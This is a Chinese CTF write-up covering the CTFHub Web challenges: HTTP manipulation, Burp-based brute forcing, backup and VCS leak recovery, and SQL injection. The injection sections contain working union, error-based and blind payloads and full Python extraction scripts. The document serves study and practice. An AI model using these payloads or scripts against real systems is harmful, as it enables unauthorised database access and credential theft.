# Web 前置技能

# HTTP 协议

# 请求方式

1

注意到题中要求使用 CTF**B Method,故在 Burp-Suite 将 GET 方式改为 CTFHUB(区分大小写)。

2

将 Intercept 打开后打开浏览器并填入 URL,将橙色标识中的 GET 方法改为 CTFHUB 后发送,得到如下 flag

flag

# 302 跳转

打开 URL 如下

1

打开 Intercept 并进入 HTTP history 查看

2

发现两处 302 跳转,查看得到 flag

flag

打开 URL 如下

1

得知要使用 admin 登陆

刷新拦截一下请求

2

将 admin=0 改为 admin=1 并发送,得到 flag

flag

# 基础认证

打开 URL 点击 click

1

在 HTTP history 中查看 response,注意到认证提示 “Basic realm="Do u know admin ?"”

猜测登陆用户名为 admin

输入用户名密码后抓包,看到 base64 加密后的字符

2

在解码器中发现是账号:密码的格式,而账号为 admin

3

使用爆破模块 intruder

将该请求发送到 intruder,将 basic 后面的字符选中并点击右侧 Add§

4

进入 payloads 导入 ctfhub 给的密码本

5

同时添加前缀 admin:(注意中间的:)

6

添加 base64 编码

7

取消 url 编码,不然 = 会被转化为 %3d

8

开始爆破

9

筛选状态 200 并查看返回值,得到 flag

flag

# 响应包源代码

打开 URL 发现是游戏

1

打开源代码发现 flag

flag

# 信息泄露

# 目录遍历

# 法一:Burp Suite

0

注意到目录为 4*4 的文件夹

进入到最后一级目录,发送 URL 到 intruder 中

分别选择攻击类型:cluster bomb,选择变化的位置,设置 payload 的 sets 和 options

1

2

设置完成后开始

在结果页中发现长度明显不一致的返回,查看返回内容

3

从而得到 flag

flag

# 法二:python

# _*_ coding:utf-8 _*_
import requests
url = "http://challenge-0b7cf3fe1d9ef811.sandbox.ctfhub.com:10800/flag_in_here"#靶机 url
for i in range(5):#i 为 0-4 的数
    for j in range(5):#j 为 0-4 的数
        url_final = url + "/" + str(i) + "/" + str(j)#将最终的目录拼接出来
        r = requests.get(url_final)#获得服务器返回的 Response
        r.encoding = "utf-8"
        get_file=r.text#得到 text 内容
        if "flag" in get_file:#判断 flag 是否在返回值中
            print(url_final)

运行结果如下,得到 flag 目录

4

# PHPINFO

打开目标 url,进入 phpinfo 界面

搜索 flag 关键词得到 flag

flag

# 备份文件下载

# 网站源码

# 法一:Burp Suite

打开 url 发现提示给了常见的文件及后缀名

1

进入 bs 浏览器,随便输一个,例如:web.tar 尝试访问

2

在历史记录中将该次访问发送到 intruder 中

3

在源代码中选择攻击类型并选中 web 和 tar

4

payloads 中载入要变化的文件名

5

填写两个 set 后开始攻击,找到状态为 200 的文件,下载

6

得到 flag.txt

7

将该文件放入浏览器中尝试打开得到 flag

flag

# 法二:dirsearch

在 dirsearch 目录中打开 powershell,执行以下命令

exp
python .\dirsearch.py -u http://challenge-584841b234301423.sandbox.ctfhub.com:10800 -e tar,tar.gz,zip,rar -x 502,503

执行完成后得到备份文件

8

后续步骤同法一

# 法三:python

import requests
url="http://challenge-584841b234301423.sandbox.ctfhub.com:10800/"
list1=['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
list2=['tar', 'tar.gz', 'zip', 'rar']
for i in list1:
    for j in list2:
        url_final=url+i+"."+j
        r=requests.get(url_final)
        if(r.status_code == 200):
            print(url_final)

# bak 文件

打开 URL 有:

1

使用 dirsearch 扫描文件

在 dirsearch 目录执行以下命令

exp
python .\dirsearch.py -u http://challenge-b2eb848d1933d253.sandbox.ctfhub.com:10800 -e * -x 502,503

等待扫描完成发现有 index.php.bak 文件

2

直接下载.bak 文件打开发现 flag

flag

# vim 缓存

# 法一:dirsearch

打开 URL 得到提示

1

使用 dirsearch 扫描

exp
python .\dirsearch.py -u http://challenge-9a421211667ab5ac.sandbox.ctfhub.com:10800 -e swp -x 502,503

主动选择.swp 的后缀是因为 - e * 默认不包括 swp 文件

2

下载 index.php.swp 后放入 linux 中使用 vim 打开

先使用 mv 将 index.php.swp 改名为.index.php.swp

exp
mv index.php.swp .index.php.swp

再使用 vim 打开 index.php 文件

exp
vim index.php

3

按 R 选择恢复得到 flag

flag

# 法二:直接访问

由题目可得要求得到 vim 缓存文件

故直接访问.index.php.swp (swp,swo,swn)

得到 index.php.swp 文件后同法一

# 法三:curl(未成功)

可以直接使用 curl 命令查看

exp
curl http://challenge-9a421211667ab5ac.sandbox.ctfhub.com:10800/.index.php.swp

但出现问题:

4

# .DS_Store

# 法一:dirsearch+linux 查看

dirsearch 开扫

1

得到.DS_Store 文件,丢到浏览器下载后在 linux 内打开

2

在看到.txt 文件,丢到浏览器中打开得到 flag

flag

# 法二:dirsearch+python dsstore 查看

同法一,得到 DS_Store

将得到的文件用 dsstore 打开

3

得到.txt 文件

# Git 泄露

# Log

dirsearch 开扫

1

看到有.git 文件夹,用 githack 下下来(仅支持 python2)

exp
python2 Githack.py http://challenge-b4001d8a6ccbd18d.sandbox.ctfhub.com:10800/.git

2

去到.git 同级目录,输入

exp
git log

查看之前对仓库的操作,发现第二次添加了 flag,考虑恢复

exp
git reset --hard HEAD^

或者

exp
git diff HEAD^

得到历史文件

3

查看.txt 文件得到 flag

flag

# Stash

# 法一:git differ

dirsearch 开扫

1

发现.git,用 hackgit 抓下来,得到.git 文件夹

2

进入.git/refs,查看 stash 文件

3

在 gtihash 中对比一下,得到 flag

flag

# 法二:git stash pop

得到.git 文件夹后,直接查看 stash

5

执行 git stash pop 发现弹出文件

6

查看该文件得到 flag

flag-2

# Index

dirsearch 开扫

1

看到有.git 文件,用 githack 抓出来

exp
python2 .\GitHack.py http://challenge-241983fae914b573.sandbox.ctfhub.com:10800/.git`

2

进入目录直接看到.txt 文件,打开得到 flag

flag

# SVN 泄露

dirsearch 扫出来有.svn 目录,用 dvcs-ripper 找一下 svn

1

进入.svn 目录(隐藏文件夹,要用 ls -a 查看),在 pristine 目录中有两个文件夹,找到旧版的(08)

2

cat 查看文件得到 flag

flag

# HG 泄露

dirsearch 开扫发现有.hg 残留,在 kali 中用 dvcs-ripper 找一下

1

发现部分 404,但是在 store-fncache 中仍有文件显示

2

拼接 url+flag 得到 flag

flag

# 密码口令

# 弱口令

burp 里抓包登陆请求,发送到爆破模组里

1

2

选上下面的用户密码,用集束炸弹方式攻击

payload1,2 分别使用简单的弱口令

3

4

选中长度排序,得到爆破成功的的对应密码,查看 response 得到 flag

flag

# 默认口令

打开是网关登陆界面,还有验证码,那就没法用 intruder 爆破密码了

image-20221019003140324

随便试一个账号密码,显示用户不存在

image-20221019003216381

查看源代码发现是 “亿邮邮件网关”,结合 title 的 “默认口令”,试一下是否是出厂的默认设置

直接搜该网关的管理用户

image-20221019003431841

丢进去登陆得到 flag

image-20221019003507338

# SQL 注入

# 整数型注入

image-20230308082747549

1 and 1=1 不报错, 1 and 1=2 报错,说明整数注入,直接猜列数

1 order by x

x 为数字

当 x=3 时报错,说明只有两列

image-20230308083107879

联合查询,让查询的 id=-1,使得前面 select * from news where id=1 错误,回显后面的 union 字段

image-20230308083202386

查到当前数据库名为 sqli

继续爆表名

-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

image-20230308083452750

得到 sqli 的库中两个表为 flag 和 news

查 flag 表

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'

image-20230308083655706

拿 flag

-1 union select 1,flag from sqli.flag

image-20230308083728106

# 字符型注入

输入 1' 报错而 1" 不报错,说明本次用的是 ' 分割

1' order by x #

查列数

x=3 报错

image-20230308090536133

联合查询

-1' union select 1,database() #

image-20230308090612874

爆出库名,继续爆

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

image-20230308090757323

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' #

image-20230308091240197

-1' union select 1,flag from sqli.flag #

image-20230308091314140

# 报错注入

先 order by 找一下列数

image-20230308091711580

报错注入可以用 updatexml(1,2,3) 函数,当第二个参数含特殊符号时报错,同时将第二个参数的内容显示在报错信息里

特殊符号用 0x7e -> ~

1 and updatexml(1,concat(0x7e,database()),3)

image-20230308092106795

1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli')),3)

image-20230308092458129

得到 sqli 库中两个表:flag,news

1 and updatexml(1,concat(0x7e,(select * from sqli.flag)),3)

image-20230308092916770

此时仅显示了前一部分的 flag,原因是 updatexml 函数最多只能显示 32 位字符的长度,

1 and updatexml(1,concat(0x7e,mid((select * from sqli.flag),20,32)),3)

查到了第 20-32 位的 flag

image-20230308093231337

拼起来就得到了完整 flag

# 布尔盲注

关键点是 if 判断:

if (expr1,expr2,expr3),如果 expr1 的值为 true,则执行 expr2 语句,如果 expr1 的值为 false,则执行 expr3 语句。

利用 substr 函数,截取字符串(库名、表名、数据)并放入 expr1 中进行判断,从而得出正确值

if(substr(database(),1,1)='s',1,(select table_name from information_schema.tables))

image-20230309083311747

image-20230309083339235

显然,数据库的第一个字符为 s

有 python 脚本遍历

import requests
urlOPEN = input('输入url:\n')
mark = 'query_success'
database_name = ''
table_list = []
column_list = []
flag=''
def get_database_name():#查库名
	for j in range(1,9):#数据库名限制为 64 字符,但一般小于 9,为了效率
		for i in 'abcdefghijklnmopqrstuvwxyz':#linux 下 mysql 应该是对大小写敏感的,而 windows 则不
			url = urlOPEN+'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
			r = requests.get(url)
			if mark in r.text:
				database_name = database_name+i
				print(database_name)
				break
	print('database_name:',database_name)
get_database_name()
def get_table_name():#查表名
    for k in range(0,4):#看前四个表
        name=''
        for j in range(1,9):#一般来说表的最大长度有 64
            for i in 'abcdefghijklnmopqrstuvwxyz':
                url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
                r = requests.get(url)
                if mark in r.text:
                    name = name+i
                    break
        table_list.append(name)
    print('table_name:',table_list)
get_table_name()
def get_column_name():#查列
    for k in range(0,3): #判断列里最多有 4 个字段
        name=''
        for j in range(1,9): #判断一个字段名最多有 9 个字符组成
            for i in 'abcdefghijklnmopqrstuvwxyz':
                url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
                r=requests.get(url)
                if mark in r.text:
                    name=name+i
                    break
        column_list.append(name)
    print ('column_name:',column_list)
get_column_name()
def get_data():
        for j in range(1,50): #判断一个值最多有 51 个字符组成
            for i in range(48,126):#ascii48-126 对应的数字 + 英文 +{,},|
                url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
                r=requests.get(url)
                if mark in r.text:
                    flag=flag+chr(i)
                    print(flag)
                    break
        print ('flag:',flag)
    
get_data()

image-20230309093514036

# 时间盲注

方法和布尔盲注类似,利用 if 判断,但需要引入 sleep () 函数,从是否执行 sleep () 函数来判断 if 条件是否成立

if(length(database())>=2,sleep(1),1)

如果数据库名字大于等于二,则返回时间应该大于 1

脚本与布尔盲注的脚本类似,只不过需要引入 time 库

由于网络环境的波动,一般要跑三次

import requests
import time
urlOPEN = input('输入url:\n')
mark = 'query_success'
database_name = ''
table_list = []
column_list = []
flag = ''
def get_database_name():#查库名
    global database_name
    for j in range(1,9):#数据库名限制为 64 字符,但一般小于 9,为了效率
        for i in 'abcdefghijklnmopqrstuvwxyz':#linux 下 mysql 应该是对大小写敏感的,而 windows 则不
            url = urlOPEN+'if(substr(database(),%d,1)="%s",sleep(1),1)' %(j,i)
            start_time = time.time()
            r = requests.get(url)
            end_time = time.time()
            t = end_time - start_time
            if (t > 1):
                database_name = database_name+i
                print(database_name)
                break
    print('database_name:',database_name)
get_database_name()
def get_table_name():#查表名
    global table_list
    for k in range(0,4):#看前四个表
        name=''
        for j in range(1,9):#一般来说表的最大长度有 64
            for i in 'abcdefghijklnmopqrstuvwxyz':
                url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",sleep(1),1)' %(k,j,i)
                start_time = time.time()
                r = requests.get(url)
                end_time = time.time()
                t = end_time - start_time
                if (t > 1):
                    name = name+i
                    break
        table_list.append(name)
    print('table_name:',table_list)
get_table_name()
def get_column_name():#查列
    global column_list
    for k in range(0,3): #判断列里最多有 4 个字段
        name=''
        for j in range(1,9): #判断一个字段名最多有 9 个字符组成
            for i in 'abcdefghijklnmopqrstuvwxyz':
                url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",sleep(1),1)' %(k,j,i)
                start_time = time.time()
                r = requests.get(url)
                end_time = time.time()
                t = end_time - start_time
                if (t > 1):
                    name=name+i
                    break
        column_list.append(name)
    print ('column_name:',column_list)
get_column_name()
def get_data():
    global flag
    for j in range(1,50): #判断一个值最多有 51 个字符组成
        for i in range(48,126):#ascii48-126 对应的数字 + 英文 +{,},|
            url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,sleep(1),1)' %(j,i)
            start_time = time.time()
            r = requests.get(url)
            end_time = time.time()
            t = end_time - start_time
            if (t > 1):
                flag=flag+chr(i)
                print(flag)
                break
    print ('flag:',flag)
    
get_data()

还是用 sqlmap 吧,够没脑子的

# MySQL 结构

本质就是整数型注入

1 and 1=1 判断出,然后 union select 联合注入即可

select * from news where id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

image-20230310095151777

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='fddqhlosgo'

image-20230310095210033

-1 union select 1,umremmalnq from sqli.fddqhlosgo

image-20230310095301878

# Cookie 注入

提示是 cookie 注入,随便发点 cookie 过去

image-202303262211721

那就发 cookie id 过去

image-20230326221312259

显然是普通的数字注入,order by 尝试之后有两列

那就用一般的联合注入 union select

构造 id=-1 union select 1,code 查找

image-20230326221603268

已经成功注入了,看得出来数据库是 sqli

爆库

id=-1 union select 1,group_concat(schema_name) from information_schema.schemata

image-20230326221717225

爆表

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()

image-20230326221754150

爆字段

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 'gpdznzrugt'

image-20230326221827733

爆值

id=-1 union select 1,rgbrnkhfep from sqli.gpdznzrugt

image-20230326221914424

# UA 注入

image-20230508220028924

用 hackbar 重新发一遍请求

User-Agent=-1 union select database(),1#

image-20230508220334316

User-Agent=-1 union select group_concat(table_name),1 from information_schema.tables where table_schema='sqli'#
User-Agent=-1 union select group_concat(column_name),1 from information_schema.columns where table_name='nnzwsnydwo'#
User-Agent=-1 union select pekzosqxfm,1 from sqli.nnzwsnydwo#

image-20230508221053144

# Refer 注入

同 UA

Referer=-1 union select group_concat(table_name),1 from information_schema.tables where table_schema='sqli'#
Referer=-1 union select group_concat(column_name),1 from information_schema.columns where table_name='uakovlxjab'#
Referer=-1 union select hkjndazhbu,1 from sqli.uakovlxjab#

image-20230508221601615

# 过滤空格

常见的有 /**/,(),%0a

经尝试可以用 /**/ 绕过

-1/**/union/**/select/**/database(),1#
-1/**/union/**/select/**/group_concat(table_name),1/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'#
-1/**/union/**/select/**/group_concat(column_name),1/**/from/**/information_schema.columns/**/where/**/table_name='vihvhlsoyv'#
-1/**/union/**/select/**/kfqwbuiugf,1/**/from/**/sqli.vihvhlsoyv#

image-20230508222955876

# 文件上传

# 无验证

一句话木马

image-20230228103421787

image-20230228103436838

# 前端验证

禁用 js 之后一句话🐴

# RCE

# SSRF